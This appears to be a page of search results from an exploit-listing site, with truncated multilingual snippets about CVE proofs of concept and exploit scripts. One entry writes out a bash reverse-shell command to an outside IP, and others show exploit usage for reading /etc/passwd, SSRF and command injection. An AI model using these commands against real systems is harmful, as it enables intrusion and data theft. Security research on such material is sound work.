3065 matches found
CVE-2024-50961
機密データの露出 CVE-2024-50961 説明 DonWeb Ferozo Hosting v1.1では、リモート攻撃者がURLパラメータを悪用して、データベース認証情報を含む機密データにアクセスできます。攻撃ベクトルには、ネットワークスニッフィング、サーバーログ、ブラウザ履歴が含まれ、組織に重大なセキュリティ侵害やデータ保護違反をもたらす可能性があります。HTTPSによる保護と安全なログ実践が不可欠です。 攻撃の複雑さ 低 必要な権限 なし 認証されていないリモート攻撃者がこの脆弱性を悪用できます。 ユーザー操作 不要 影響を受けるコンポーネント URLパラメータの処理 :...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR これは法的なペネトレーションテスト目的のみに使用してください。違法行為には関与しないでください。 使い方 python3 exploit.py デモ動画...
CVE-2025-32778
CVE-2025-32778 - Web-Check 명령 주입 익스플로잇 설명 CVE-2025-32778은 Lissy93의 Web-Check OSINT 도구에서 발견된 심각한 명령 주입 취약점입니다. 인증되지 않은 공격자가 스크린샷 API의 url 매개변수를 통해 임의의 시스템 명령을 실행할 수 있습니다. 이 Python 스크립트는 익스플로잇을 자동화하며 리버스 셸을 생성하거나 사용자 지정 셸 페이로드를 수용할 수 있습니다. 경고 소유하거나 테스트 권한이 있는 시스템에서만 테스트하세요. 무단 사용은 불법이며 윤리적이지 않습니다. ...
CVE-2019-8451
CVE-2019-8451 https://jira.atlassian.com/browse/JRASERVER-69793 root@kitploit: http://host:port/plugins/servlet/gadgets/makeRequest?url=http://:@'.formathost, port, target https://host:port/plugins/servlet/gadgets/makeRequest?url=https://:@'.formathost, port, target...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 漏洞概述 CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制，通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞，因为造成漏洞的原因非常相似。 CVE-2025-30208影响版本如下所示 root@kitploit: =6.2.0, =6.1.0, =6.0.0, =5.0.0, =6.2.0, =6.1.0, =6.0.0...
CVE-2023-51214
建议描述 在PHP v.1实现Web应用活动日志中的跨站脚本漏洞允许远程攻击者通过精心构造的有效载荷对URL执行任意代码。 漏洞类型 跨站脚本XSS 产品供应商 sourcecodester.com 受影响产品代码库 使用PHP实现Web应用活动日志 - v1 受影响组件 URL 攻击类型 远程 影响代码执行 true 攻击向量 无需详细信息 参考 https://youtu.be/OvJdYy3DoLw 供应商是否已确认或承认该漏洞？ true 发现者 Chandra Pratik Raj Singh...
exploit-CVE-2016-8016-25
Linux版McAfee Virus Scanの複数のリモート脆弱性 本エクスプロイトおよびこのリポジトリ内の全コードは、MCAFEEのライセンス違反に関する問題を回避するために削除されました McAfee VirusScan Enterprise for Linuxは、McAfeeによるエンタープライズ向けアンチウイルスソリューションです。Linuxベースの独自のオンアクセススキャナが、システムに対する潜在的な攻撃を常時監視します。 脆弱性 VSEL 2.0.3（およびそれ以前）は、以下の公開済みセキュリティ脆弱性の影響を受けます。ENSL...
CVE-2024-36527
CVE-2024-36527 PoCおよびバルクスキャナー 概要 CVE-2024-36527のPoC: puppeteer-renderer v.3.2.0以前はディレクトリトラバーサルの脆弱性があります。攻撃者はファイルプロトコルを使用してURLパラメータを悪用し、サーバーから機密情報を読み取ることができます。 セキュリティアドバイザリはZac Wang によって公開され、PoCはM Ali によって作成されました。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには: root@kitploit: python cve-2024-36527.py -...
CVE-2022-22947
王政コードに基づいて、2種類のリバースシェル、外部通信確認を追加しました。 実行時に不足しているモジュールがあれば、pipで該当モジュールをダウンロードしてください。 疑わしいURLアドレスを入力してください。ポートの後ろに「/」を付けないでください。 1. まず脆弱性が存在するか確認する デフォルトではwhoamiコマンドを実行します。多くのコマンドは結果を返さないため、whoamiが成功して結果が返ってくれば脆弱性が存在します。 返り値にrootが含まれていれば、脆弱性が確認できます。 2. リバースシェル 公開IPとポートを入力します。...
CVE-2021-22941
사용 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 참조 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
compaXSS
CompaXSS 反射型クロスサイトスクリプティング XSS のバイパス ======= root@kitploit: Example: python compaxss.py --url https://support.snapchat.com/login?next=-run 開発者 Jose Pino - @jofpin Juan Eljach - @juaneljach...
CVE-2021-3131
CVE-2021-3131 推奨される説明 8.3.17.1851 より前の 1C:Enterprise 8 の Web サーバーは、'creds' URL パラメーターで base64 エンコードされた資格情報を送信します。 脆弱性タイプ その他 CWE-522 不十分に保護された資格情報 製品のベンダー 1C Company 影響を受ける製品コードベース 1C:Enterprise 8 - テスト済み: 8.3.17.1851 影響を受けるコンポーネント Web サーバー 影響 情報漏えい true ベンダーは脆弱性を確認または認識していますか? true 発見者 Irina...
CVE-2024-27564
CVE-2024-275644 説明: pictureproxy.php の脆弱性により、リモートの攻撃者が url パラメータに URL を注入して任意のリクエストを実行できます。この SSRF 脆弱性は認証なしで悪用できるため、特に危険です。 脆弱なコードは pictureproxy.php ファイルにあります。この問題は、関数が url パラメータを適切に検証しないために発生します。$GET'url' 変数が filegetcontents 関数に渡され、指定された URL からコンテンツを取得します。これにより SSRF が発生する可能性があります。 PoC:...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
WordPress StageShow <5.0.9 - Open Redirect
WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshowredirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter. id: CVE-2015-5461 info: name:...
Jenkins-CVE-2024-23897-
使用コマンド:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwd（URLを2.txtに書き込めば一括処理可能）...
SSRF-Exploit-CVE-2024-27564
SSRF-Exploit-CVE-2024-27564 프로젝트 제목 이 프로젝트는 pictureproxy.php 파일에서 발생하는 서버사이드 요청 위조SSRF 취약점을 시연합니다. 설명 pictureproxy.php의 취약점으로 인해 원격 공격자가 url 매개변수에 URL을 주입하여 임의의 요청을 수행할 수 있습니다. 이 SSRF 취약점은 인증 없이도 악용될 수 있어 특히 위험합니다. 취약한 코드는 pictureproxy.php 파일에 있습니다. 문제는 함수가 url 매개변수를 적절히 검증하지 않기 때문에 발생합니다...
cve-2025-4664
CVE-2025-4664 このリポジトリには、ChromiumベースのブラウザがLinkヘッダーのプリロードリクエストを通じて機密性の高いURLパラメータを漏えいさせる脆弱性であるCVE-2025-4664を悪用するPoCが含まれています。 リソース このエクスプロイトがどのように機能するかについての詳細な説明は、ブログ記事をご覧ください: https://amalmurali.me/posts/cve-2025-4664e。 フローを理解するには、このビデオをご覧ください: ファイル target.py - 脆弱なWebアプリケーション idp.py -...